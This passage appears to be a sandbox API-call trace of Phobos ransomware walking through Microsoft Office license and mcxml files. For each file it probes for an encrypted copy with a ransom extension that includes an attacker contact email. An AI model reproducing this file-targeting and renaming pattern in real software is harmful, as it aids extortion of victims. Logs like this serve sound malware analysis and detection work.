"c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.997] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.997] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20750) returned 1 [0153.997] CloseHandle (hObject=0x528) returned 1 [0153.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ppd.xrm-ms")) returned 0x220 [0153.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.998] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.998] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11569) returned 1 [0153.998] CloseHandle (hObject=0x528) returned 1 [0153.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.999] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.999] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19914) returned 1 [0153.999] CloseHandle (hObject=0x528) returned 1 [0153.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.000] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.000] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11135) returned 1 [0154.000] CloseHandle (hObject=0x528) returned 1 [0154.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-pl.xrm-ms")) returned 0x220 [0154.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.001] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20873) returned 1 [0154.001] CloseHandle (hObject=0x528) returned 1 [0154.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ppd.xrm-ms")) returned 0x220 [0154.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.002] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11581) returned 1 [0154.002] CloseHandle (hObject=0x528) returned 1 [0154.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ul-oob.xrm-ms")) returned 0x220 [0154.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.002] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.003] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6711) returned 1 [0154.003] CloseHandle (hObject=0x528) returned 1 [0154.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ppd.xrm-ms")) returned 0x220 [0154.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.003] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.004] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11604) returned 1 [0154.004] CloseHandle (hObject=0x528) returned 1 [0154.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0154.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.004] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9596) returned 1 [0154.005] CloseHandle (hObject=0x528) returned 1 [0154.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul.xrm-ms")) returned 0x220 [0154.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.005] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.007] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10615) returned 1 [0154.007] CloseHandle (hObject=0x57c) returned 1 [0154.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-pl.xrm-ms")) returned 0x220 [0154.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.008] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0154.008] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6646) returned 1 [0154.008] CloseHandle (hObject=0x57c) returned 1 [0154.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ppd.xrm-ms")) returned 0x220 [0154.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.008] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0154.010] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11571) returned 1 [0154.010] CloseHandle (hObject=0x528) returned 1 [0154.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms")) returned 0x220 [0154.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.011] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.080] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19916) returned 1 [0154.080] CloseHandle (hObject=0x584) returned 1 [0154.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms")) returned 0x220 [0154.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\WordVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\wordvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.081] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0154.134] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=16216) returned 1 [0154.134] CloseHandle (hObject=0x584) returned 1 [0154.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml")) returned 0x220 [0154.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.247] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.263] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=106288) returned 1 [0154.263] CloseHandle (hObject=0x58c) returned 1 [0154.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml")) returned 0x220 [0154.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\excelmui.msi.16_excelmui.mcxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\lyncmui.msi.16_lyncmui.mcxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0154.275] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=74908) returned 1 [0154.275] CloseHandle (hObject=0x58c) returned 1 [0154.275] GetFileAttributesW 